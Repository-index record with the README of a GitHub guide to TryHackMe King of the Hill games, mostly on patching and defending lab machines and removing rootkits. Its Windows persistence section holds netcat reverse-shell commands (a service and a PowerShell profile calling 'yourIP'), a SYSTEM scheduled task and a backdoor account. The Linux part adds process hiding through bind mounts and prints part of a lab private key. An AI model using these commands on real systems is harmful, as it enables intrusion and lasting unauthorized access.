{"id":20734938,"url":"https://github.com/matheuzsecurity/koth-tryhackme-tricks","last_synced_at":"2025-07-16T10:37:22.022Z","repository":{"id":46040698,"uuid":"399149350","full_name":"MatheuZSecurity/Koth-TryHackMe-Tricks","owner":"MatheuZSecurity","description":"Koth - TryHackMe Tricks","archived":false,"fork":false,"pushed_at":"2023-11-05T17:07:49.000Z","size":2527,"stargazers_count":164,"open_issues_count":0,"forks_count":26,"subscribers_count":5,"default_branch":"master","last_synced_at":"2025-04-08T08:21:16.879Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Shell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/MatheuZSecurity.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2021-08-23T15:10:58.000Z","updated_at":"2025-03-22T08:59:56.000Z","dependencies_parsed_at":"2022-07-18T16:52:57.074Z","dependency_job_id":"4790c73a-013a-459f-95f2-cee13e7157ec","html_url":"https://github.com/MatheuZSecurity/Koth-TryHackMe-Tricks","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/MatheuZSecurity/Koth-TryHackMe-Tricks","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MatheuZSecurity%2FKoth-TryHackMe-Tricks","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MatheuZSecurity%2FKoth-TryHackMe-Tricks/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MatheuZSecurity%2FKoth-TryHackMe-Tricks/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MatheuZSecurity%2FKoth-TryHackMe-Tricks/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/MatheuZSecurity","download_url":"https://codeload.github.com/MatheuZSecurity/Koth-TryHackMe-Tricks/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MatheuZSecurity%2FKoth-TryHackMe-Tricks/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":265503453,"owners_count":23778090,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-17T05:33:46.012Z","updated_at":"2025-07-16T10:37:21.974Z","avatar_url":"https://github.com/MatheuZSecurity.png","language":"Shell","funding_links":[],"categories":[],"sub_categories":[],"readme":"# TryHackMe KoTH Tricks\n\n- \"Don't use cheats on koth, just play for fun, learn from other players, learn new techniques, for me, this is the essence of a battlegrounds style game\".\n\n## Introduction\n\nKing of the Hill (KoTH) is a competitive hacking game, where you play against 10 other hackers to compromise a machine and then patch its vulnerabilities to stop other players from also gaining access. The longer you maintain your access, the more points you get.\n\nBut the real challenge for the koth player is defending /root/king.txt . On windows machines king is in C:\\king.txt or in C:\\Users\\Admininstrator\\king-server\\king.txt.\n\n## Defense/Patching Linux Box\n\nOn linux machines, most people get root through PwnKit, to prevent players from getting root access, just remove the suid from the pkexec binary.\n\n### [ Patching Root Access ]\n\n```\nchmod -s /usr/bin/pkexec\n```\n\nIn addition to pwnkit, players abuse SUID in binaries like find, bash, mount, among other binaries, to remove SUID from binaries just use the command;\n\n```\nchmod -s $(which find)\n```\n\nYou can find binaries that have SUID and if through the binary you found, there is a way to abuse it to have a rooted shell, to find binaries like that you can use the following command;\n\n```\nfind / -perm /4000 2\u003e/dev/null\n```\n\nIn addition to SUID, you can check the following files;\n\n- /etc/sudoers - Players abuse this to build their persistence.\n- /etc/sudoers.d - Players abuse this to build their persistence.\n- /etc/crontab - Players abuse this to build their persistence.\n- /var/spool/* - Players abuse this to build their persistence.\n- /etc/systemd/system - Players abuse this to build their persistence.\n- */.ssh/ - Players abuse this to build their persistence.\n- /opt/\n- /etc/passwd - Players Create your own user.\n- /etc/shadow - Players Create your own user.\n- */.bashrc - Players abuse this to build their persistence.\n\nYou can also change the password for the root user, among other existing users on the machine, for this, you can use onelines, like;\n\n```\necho -e \"hackerpassword\\nhackerpassword\" | passwd root\necho -e \"hackerpassword\\nhackerpassword\" | passwd user\n```\n\nI think this is enough to protect the machine, if you are the first to enter the machine, and patching so that other players do not have root, you already have a great advantage.\n\n### [ Patching Web Application Vulnerable ]\n\nMost koth linux machines, you can get a reverse shell, through a simple command injection, you can get an LFI, Backdoors on different ports, among others. I'll put the main ways to defend, The patched codes too.\n\n- Command Injection in Tyler Machine.\n\n```\n[root@tyler betatest]# cat checkuser.php\n\u003c?php\nif (isset($_POST['submit'])) {\n    $user = $_POST['user'];\n    if (preg_match(\"/^[a-zA-Z0-9_]+$/\", $user)) {\n        $user = escapeshellarg($user);\n\n        $cmd1 = \"cat /etc/passwd | grep \" . $user;\n        echo system($cmd1);\n    } else {\n        echo \"Invalid user input\";\n    }\n// flag{REDACTED}\n}\n?\u003e\n[root@tyler betatest]#\n\n```\n\n- LFI In Lion Machine.\n\n```\nroot@lion:/var/www/nginx# cat -v index.php\n\u003chtml\u003e\n\u003chead\u003e\n\u003clink rel=\"stylesheet\" type=\"text/css\" href=\"bootstrap.min.css\"\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003cnav class=\"navbar navbar-expand-lg navbar-dark bg-dark\"\u003e\n  \u003ca class=\"navbar-brand\" href=\"/\"\u003eGloria's Personal Site\u003c/a\u003e\n  \u003cbutton class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#navbarColor02\" aria-controls=\"navbarColor02\" aria-expanded=\"false\" aria-label=\"Toggle navigation\"\u003e\n    \u003cspan class=\"navbar-toggler-icon\"\u003e\u003c/span\u003e\n  \u003c/button\u003e\n\n  \u003cdiv class=\"collapse navbar-collapse\" id=\"navbarColor02\"\u003e\n    \u003cul class=\"navbar-nav mr-auto\"\u003e\n      \u003cli class=\"nav-item active\"\u003e\n        \u003ca class=\"nav-link\" href=\"/\"\u003eHome \u003cspan class=\"sr-only\"\u003e(current)\u003c/span\u003e\u003c/a\u003e\n      \u003c/li\u003e\n      \u003cli class=\"nav-item\"\u003e\n        \u003ca class=\"nav-link\" href=\"?page=posts.php\"\u003ePosts\u003c/a\u003e\n      \u003c/li\u003e\n      \u003cli class=\"nav-item\"\u003e\n        \u003ca class=\"nav-link\" href=\"?page=about.php\"\u003eAbout\u003c/a\u003e\n      \u003c/li\u003e\n    \u003c/ul\u003e\n  \u003c/div\u003e\n\u003c/nav\u003e\n\u003cdiv class=\"container\"\u003e\u003cbr /\u003e\n\u003ch2\u003eGloria's Personal Site\u003c/h2\u003e\n\u003cimg src=\"image.png\" style=\"width:400px;height:300px;\"\u003e\u003cbr /\u003e\n\u003c?php\n$allowedPages = array(\n    'posts.php',\n    'about.php'\n);\n\n$page = $_GET[\"page\"];\n\nif (in_array($page, $allowedPages)) {\n    include($page);\n} else {\n    echo \"No LFI for You x)\";\n}\n?\u003e\n\u003c/div\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\nroot@lion:/var/www/nginx#\n```\n\n- Unrestricted File load and Perl Reverse shell in Lion Machine.\n\n```\nroot@lion:/var/www/html/upload# ls\nimage.png  index.php  uploads\nroot@lion:/var/www/html/upload# cat -v index.php\n\u003c?php\n$filename = uniqid() . \"-\" . time();\n$extension = pathinfo($_FILES[\"fileToUpload\"][\"name\"], PATHINFO_EXTENSION);\n$basename = $filename . '.' . $extension;\n$target_dir = \"uploads/\";\n$target_file = $target_dir . $basename;\n$uploadOk = 1;\n\nif (isset($_POST[\"submit\"])) {\n    // Check if file already exists\n    if (file_exists($target_file)) {\n        echo \"Sorry, file already exists.\";\n        $uploadOk = 0;\n    }\n\n    // Check file size (limit to 500KB)\n    $maxFileSize = 500000;\n    if ($_FILES[\"fileToUpload\"][\"size\"] \u003e $maxFileSize) {\n        echo \"Sorry, your file is too large.\";\n        $uploadOk = 0;\n    }\n\n    // Validate file extension\n    $allowedExtensions = array(\"jpg\", \"jpeg\", \"png\", \"gif\");\n    if (!in_array($extension, $allowedExtensions)) {\n        echo \"Sorry, only JPG, JPEG, PNG, and GIF files are allowed.\";\n        $uploadOk = 0;\n    }\n\n    // Check if $uploadOk is set to 0 by an error\n    if ($uploadOk == 0) {\n        echo \"Sorry, your file was not uploaded.\";\n    } else {\n        // If everything is ok, try to upload file\n        if (move_uploaded_file($_FILES[\"fileToUpload\"][\"tmp_name\"], $target_file)) {\n            echo \"The file \" . basename($_FILES[\"fileToUpload\"][\"name\"]) . \" has been uploaded.\";\n            // Process or store the uploaded file securely\n            // Do not execute the file directly\n        } else {\n            echo \"Sorry, there was an error uploading your file.\";\n        }\n    }\n}\n?\u003e\n\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n    \u003ccenter\u003e\u003cbr /\u003e\n        \u003cimg src=\"image.png\" style=\"width:300px;height:300px;\"\u003e\u003cbr /\u003e\u003cbr /\u003e\n        \u003cform action=\"index.php\" method=\"post\" enctype=\"multipart/form-data\"\u003e\n            Select file to upload:\n            \u003cinput type=\"file\" name=\"fileToUpload\" id=\"fileToUpload\"\u003e\n            \u003cinput type=\"submit\" value=\"Upload\" name=\"submit\"\u003e\n        \u003c/form\u003e\n    \u003c/center\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\nroot@lion:/var/www/html/upload#\n```\n\n- Nostromo RCE In Lion Machine.\n\n```\nroot@lion:/var/nostromo/htdocs# ls\ncgi-bin  image.png  index.html  nostromo.gif\nroot@lion:/var/nostromo/htdocs# ss -anlpt|grep 8080\nLISTEN     0      128          *:8080                     *:*                   users:((\"nhttpd\",pid=958,fd=3))\nroot@lion:/var/nostromo/htdocs# export machineIP=10.10.76.94\nroot@lion:/var/nostromo/htdocs# kill -9 958\nroot@lion:/var/nostromo/htdocs# python3 -m http.server 8080 -b $machineIP\nServing HTTP on 10.10.76.94 port 8080 ...\n10.14.39.200 - - [01/Jul/2023 12:38:53] code 501, message Unsupported method ('POST')\n10.14.39.200 - - [01/Jul/2023 12:38:53] \"POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\" 501 -\n10.14.39.200 - - [01/Jul/2023 12:39:57] \"GET / HTTP/1.1\" 200 -\n10.14.39.200 - - [01/Jul/2023 12:40:05] \"GET / HTTP/1.1\" 200 -\n10.14.39.200 - - [01/Jul/2023 12:40:05] code 501, message Unsupported method ('POST')\n10.14.39.200 - - [01/Jul/2023 12:40:05] \"POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1\" 501 -\n```\n\nIn My Machine.\n\n```\nmsf6 exploit(multi/http/nostromo_code_exec) \u003e run\n\n[*] Started reverse TCP handler on 10.14.39.200:4444\n[*] Running automatic check (\"set AutoCheck false\" to disable)\n[!] The target is not exploitable. ForceExploit is enabled, proceeding with exploitation.\n[*] Configuring Automatic (Unix In-Memory) target\n[*] Sending cmd/unix/reverse_perl command payload\n[*] Exploit completed, but no session was created.\nmsf6 exploit(multi/http/nostromo_code_exec) \u003e\n```\n\n- Backdoor In Panda Machine.\n```\n[root@panda 06d63d6798d9b6c2f987f045b12031d6]# ls\nflag  index.php\n[root@panda 06d63d6798d9b6c2f987f045b12031d6]# cat -v index.php\n\u003chtml\u003e\n\u003chead\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n \u003cform action=\"index.php\" method=\"POST\"\u003e\n  \u003clabel for=\"cmd\"\u003ecmd: \u003c/label\u003e\n  \u003cinput type=\"text\" id=\"cmd\" name=\"cmd\"\u003e\n  \u003cinput type=\"submit\" value=\"submit\"\u003e\n\u003c/form\u003e\n\u003c?php\nif ($_POST['cmd']){\n  echo \"No command execution, matheuz was kidding you x)\";\n}\n?\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n[root@panda 06d63d6798d9b6c2f987f045b12031d6]#\n```\n\n- Changing Password Tomcat in Shrek Machine.\n\n```\n[root@shrek conf]# pwd\n/opt/tomcat/conf\n[root@shrek conf]# cat tomcat-users.xml\n\u003c---------------------------------------------------\u003e\n\u003ctomcat-users\u003e\n\u003cuser username=\"admin\" password=\"yourpassword\" roles=\"manager-gui,admin-gui\"/\u003e\n\u003c/tomcat-users\u003e\n\u003c---------------------------------------------------\u003e\n[root@shrek conf]#\n```\n\n- File containing SSH-KEY for user.\n\n```\n[root@shrek html]# pwd;head -n10 Cpxtpt2hWCee9VFa.txt #This is SSH-KEY\n/var/www/html\n-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEAsKHyvIOqmETYwUvLDAWg4ZXHb/oTgk7A4vkUY1AZC0S6fzNE\nJmewL2ZJ6ioyCXhFmvlA7GC9iMJp13L5a6qeRiQEVwp6M5AYYsm/fTWXZuA2Qf4z\n8o+cnnD+nswE9iLe5xPl9NvvyLANWNkn6cHkEOfQ1HYFMFP+85rmJ2o1upHkgcUI\nONDAnRigLz2IwJHeZAvllB5cszvmrLmgJWQg2DIvL/2s+J//rSEKyISmGVBxDdRm\nT5ogSbSeJ9e+CfHtfOnUShWVaa2xIO49sKtu+s5LAgURtyX0MiB88NfXcUWC7uO0\nZ1hd/W/rzlzKhvYlKPZON+J9ViJLNg36HqoLcwIDAQABAoIBABaM5n+Y07vS9lVf\nRtIHGe4TAD5UkA8P3OJdaHPxcvEUWjcJJYc9r6mthnxF3NOGrmRFtDs5cpk2MOsX\nu646PzC3QnKWXNmeaO6b0T28DNNOhr7QJHOwUA+OX4OIio2eEBUyXiZvueJGT73r\nI4Rdg6+A2RF269yqrJ8PRJj9n1RtO4FPLsQ/5d6qxaHp543BMVFqYEWvrsdNU2Jl\n[root@shrek html]# echo \"\" \u003e Cpxtpt2hWCee9VFa.txt\n[root@shrek html]# cat Cpxtpt2hWCee9VFa.txt\n\n[root@shrek html]#\n\n```\n\n### [ Protect King File ]\n\nUndoubtedly, the biggest challenge of KoTH is protecting the king, many people send me messages asking how do I protect the king, or about how to protect the king, So, in this session I decided to put my defense technique in KoTH, and I will also put techniques that other players use.\n\nWe can say that chattr today on KoTH is not as strong as it used to be, as many players created their own defense techniques on king. But here I'm going to mention defense techniques in king, which you can use, and are also techniques that other players use in every koth game.\n\n- Whiles for protect /root/king.txt using chattr.\n\n\u003e while [ 1 ]; do chattr -ia /root/king.txt 2\u003e/dev/null; echo -n \"YourNick\" \u003e| /root/king.txt 2\u003e/dev/null; chattr +ia /root/king.txt 2\u003e/dev/null; done \u0026\n\n- Mount Trick.\n\n```\nsudo lessecho USERNAME \u003e /root/king.txt\nsudo dd if=/dev/zero of=/dev/shm/root_f bs=1000 count=100\nsudo mkfs.ext3 /dev/shm/root_f\nsudo mkdir /dev/shm/sqashfs\nsudo mount -o loop /dev/shm/root_f /dev/shm/sqashfs/\nsudo chmod -R 777 /dev/shm/sqashfs/\nsudo lessecho USERNAME \u003e /dev/shm/sqashfs/king.txt\nsudo mount -o ro,remount /dev/shm/sqashfs\nsudo mount -o bind /dev/shm/sqashfs/king.txt /root/king.txt\nsudo rm -rf /dev/shm/root_f \n```\n\nBy the way, if you try to put your nick once in /root/king.txt and the message \"Read-only file system\" appears, most likely, the other player is using this technique.\n\nTo undo this, just use umount.\n\n\u003e umount -l /root/king.txt or umount -l /root\n\n- \"symbolic link\" using \"ln\" command.\n\n```mkdir /dev/shm/...\ncp -r /root/ /dev/shm/...\ncd /dev/shm/.../root\nrm king.txt\necho \"YourNick\" \u003e ...\nln -s ... king.txt\n```\n\nIt's up to your imagination what you can try to add to this and what to do x).\n\n- Chattr for block /root.\n\n\u003e cd / \u0026\u0026 chattr +ia root\n\n- Oneline using date, to combine.\n\n```\nwhile true; do\n    chattr -ia /root/king.txt 2\u003e/dev/null\n    echo -n \"YourNick\" \u003e| /root/king.txt 2\u003e/dev/null\n    chattr +ia /root/king.txt 2\u003e/dev/null\n    sleep $((60 - $(date +%S) % 60))\ndone \u0026\n\n```\n\n\n- Intercept Syscall Write from /root/king.txt.\n\n\u003e This technique is very advanced using LKM ( Loadable Kernel Module) that is, at the kernel/ring0 level, me and F11snipe use it, basically if you try to put your nickname in king.txt, nothing will happen and the nickname of who is using the intercept syscall write will remain, as this file is being intercepted.\n\nIn this technique, I plan to add my C code along with its Makefile very soon.\n\n- LD_PRELOAD for defense of king.\n\nSoon I will also add a code for this way to defend the king.\n\n- Programs written in C to protect the king.\n\nThe [kingmaker](https://raw.githubusercontent.com/ChrisPritchard/ctf-writeups/master/tryhackme-koth/tools/kingmaker.c) that \"Aquinas\" created a while ago, to defend the king, is really good, and you can take the code in C, study and improve it.\n\nThese are the main ways to defend the king, other KoTH players also use these same techniques to defend the king.\n\nI think that from this, you can have A LOT of ideas, even ideas for you to create your own script/way to defend the king.\n\n### [ Defending Linux Box From Rootkits ]\n\nSome players use rootkits in KoTH games, I think that many players don't know how to defend against a rootkit, so it is in this section that I will put some points to be able to defend and disable a rootkit.\n\n- sysctl\n\nBasically the command \"sudo sysctl -w kernel.modules_disabled=1\" disables the loading of kernel modules in the Linux operating system, restricting the ability to load and unload modules during execution. This can be useful for improving security by preventing unauthorized or malicious modules from being loaded into the system's kernel.\n\nFor this to work you would have to run this command before the player loads your rootkit/LKM. Because if the enemy player loads the rootkit first, this command will have no effect.\n\nHint: you really have to be really quick as there are some people who use autopwn.\n\n\u003e sudo sysctl -w kernel.modules_disabled=1\n\n- blocking insertion of new modules using LKM\n\nit is possible to make LKM that blocks the insertion of new modules, I had made one, however, when I went to load it in KoTH machines, the machine broke completely, so I could not proceed with this, but you can search, and try to create your own own.\n\n- Diamorphine rootkit with its default kill signal\n\nI realize that KoTH players use diamorphine rootkit, but do not change the kill signal 63 (remembering that if you kill this PID and put 0 after it, the rootkit module will reappear).\n\n\u003e kill -63 0 \u0026\u0026 rmmod diamorphine\n\nIf in case the module name is not \"diamorphine\", you can check the others using lsmod.\n\n\u003e lsmod | head -n5\n\n- LD_PRELOAD Rootkit\n\nIt is common for koth players to also use the LD_PRELOAD rootkit. The good news is that removing it is not very complex, just follow these commands below.\n\n\u003e echo \"\" \u003e /etc/ld.so.preload \u0026\u0026 rm /lib/NameOf.So\n\nTo discover the \".so\" from the LD_PRELOAD rootkit, you can check the /lib/*.\n\n\n## Persistence KoTH Linux Machines\n\nYou can check my repository about persistence, all the techniques I use in koth, it's there.\n\n### [DemonizedShell](https://github.com/MatheuZSecurity/D3m0n1z3dShell)\n\nAdditional: you can use the mount command to mount a process in another directory, for example;\n\n\u003e mount --bind /tmp /proc/PID\n\nTherefore, if you look at the processes, the PID you put there will no longer appear, I think many players use this trick too.\n\nTo undo this is simpler than it seems.\n\n\u003e mount | grep proc \u0026\u0026 umount /proc/PID\n\n## Windows KoTH Machines\n\nOn koth windows machines I think I'll put only the essentials in my view.\n\n### Protect King\n\n- Using loop in combination with attrib.\n\nOffline Machine\n\n```\n@echo off\n:x\nattrib -a -s -r -i C:\\Users\\Administrator\\king-server\\king.txt\u0026echo YourNickHere \u003e C:\\Users\\Administrator\\king-server\\king.txt\u0026attrib +a +s +r +i C:\\Users\\Administrator\\king-server\\king.txt\ngoto x\n```\n\nH1-Medium Machine\n\n```\n@echo off\n:x\nattrib -a -s -r -i C:\\ing.txt\u0026echo YourNickHere \u003e C:\\king.txt\u0026attrib +a +s +r +i C:\\king.txt\ngoto x\n```\n\n- Icalcs\n\n\u003e icacls king.txt /deny Everyone:(W)\n\nThis command will basically deny write permission (\"W\") for the group \"Everyone\" on the file \"king.txt\"\n\nNote that you can deny write permission for the Administrator user as well.\n\n\u003e icacls king.txt /deny Administrator:(M)\n\nYou can use icacls in a loop too, it's up to your imagination :D\n\nWell, I think this is enough for king protection on windows koth machines (until now).\n\n### Persistence\n\nI think koth players rarely use persistence on windows machines, anyway I'll put some.\n\n- Service Execution\n\nCreating an malicious service.\n\n```\nsc create fsociety binpath= \"C:\\nc.exe yourIP PORT -e cmd.exe\" start= \"auto\" obj= \"LocalSystem\" password= \"\"\n```\n\n- New Account\n\nCreating New account.\n\n\u003e net user mrpwn mrpwnpassword123! /add\n\n- SchTasks\n\nCreating a new scheduled task that will launch shell.cmd every minute.\n\n```\nschtasks /create /sc minute /mo 1 /tn \"yourtask\" /tr C:\\shell.cmd /ru \"SYSTEM\"\n```\n\n- Powershell Profile Persistence\n\nAs soon as the user starts a new powershell, the command will be executed.\n\n```\n$PROFILE | select *\necho \"C:\\temp\\nc.exe YourIP Port -e powershell\" \u003e C:\\temp\\payload.exe\" \u003e $PROFILE\ncat $PROFILE\n```\n\nYou can also use C2 (Command \u0026 Control).\n\n#### This repository still has more things to be added.\n\n## References and studies\n\n[Terraminator Koth-Tricks Repo](https://github.com/Terraminator/thm-koth-tricks)\n\n[ired.team](https://www.ired.team/)\n\n- Rootkit Studies\n\n[rootkit diamorphine](https://github.com/m0nad/Diamorphine)\n\n[xcellerator](https://xcellerator.github.io/tags/rootkit/)\n\n[0x00sec.org](https://0x00sec.org/t/writing-a-simple-rootkit-for-linux/29034)\n\n[h0mbre](https://h0mbre.github.io/Learn-C-By-Creating-A-Rootkit/)\n\n[Syscall Hooking](https://blog.convisoappsec.com/linux-rootkits-hooking-syscalls/)\n\n[jm33.me](https://jm33.me/tag/rootkit.html)\n\n[Awesome Rootkits](https://github.com/milabs/awesome-linux-rootkits)\n\n- Persistence\n\n[DemonizedShell](https://github.com/MatheuZSecurity/D3m0n1z3dShell)\n\n[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md)\n\n[Hunting Persistence](https://pberba.github.io/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation/)\n\n[vx-underground papers](https://www.vx-underground.org/#E:/root/Papers/Linux/Persistence)\n\n[Persistence Cheat-Sheet](https://hackmag.com/security/persistence-cheatsheet/)\n\n---------------------------------------------------------------------------\n#### @MatheuzSecurity\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmatheuzsecurity%2Fkoth-tryhackme-tricks","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmatheuzsecurity%2Fkoth-tryhackme-tricks","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmatheuzsecurity%2Fkoth-tryhackme-tricks/lists"}